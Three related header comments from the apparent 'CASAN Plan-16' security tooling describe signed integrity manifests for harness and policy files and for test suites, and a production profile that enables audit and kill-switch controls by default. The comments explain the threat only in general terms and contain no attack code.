"""CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle.
Every gate is bypassable by editing the gate itself: change `security-check.sh`,
`prompt-filter.yaml`, `thresholds.yaml`, `model-digest.pin` or `reviewers.registry`
and the control is simply gone — no input needed. This binds the harness code +
policy files to a manifest whose head is signed with an OFF-REPO key. Before a
run, the harness verifies its self-hash against the signed manifest and REFUSES to
run on any mismatch (enforced mode). An attacker who edits a gate cannot re-sign
the manifest without the off-repo key.
Usage:
bundle-integrity.py generate # hash harness+policy, write + sign manifest
bundle-integrity.py verify [--strict] # re-check; exit 1 on drift / bad signature
Env: CASAN_BUNDLE_ROOT (default .specify), CASAN_BUNDLE_MANIFEST,
CASAN_BUNDLE_KEY_DIR, CASAN_BUNDLE_PUB,
CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature + drift).

"""CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest.
The test suites live in the same repo an attacker can edit, so "280/0 green" proves
nothing if a fail-able adversarial check was quietly deleted or weakened. This tool
records, per suite, its content hash and its number of fail-able checks, into a
manifest whose head is signed with an OFF-REPO key. CI then re-verifies:
* a manifested suite that DISAPPEARED -> FAIL (suite removed)
* a suite whose fail-able-check count DROPPED -> FAIL (coverage regression)
* (enforced mode) an invalid/absent manifest signature -> FAIL (manifest tampered)
Adding checks/suites is fine (regenerate the manifest); only REMOVING coverage fails.
Usage:
test-integrity.py generate # write + sign the manifest
test-integrity.py verify [--strict] # re-check; exit 1 on regression/tamper
Env: CASAN_TESTS_DIR, CASAN_TEST_MANIFEST, CASAN_TI_KEY_DIR, CASAN_TI_PUB,

# CASAN Plan-16 SEC-17 (ARCH-03) — CASAN_PROFILE=prod is secure-by-default.

# Many strong controls were opt-in env flags (off unless explicitly set), so a
# lazy operator ran permissively. Under CASAN_PROFILE=prod they now default ON —
# while an explicit `=0` still wins (internal scans that disable a flag on purpose
# must stay disabled). Proven across three real controls:
# * verify-audit-chain: unsigned chain fails under prod,
# * control-plane verify-audit: unsigned store fails under prod,
# * casan-harness kill-switch: engaged switch is enforced under prod, but an
# explicit CASAN_KILLSWITCH_ENFORCE=0 overrides.
#
# Deterministic; hermetic (temp dirs); no model/network.
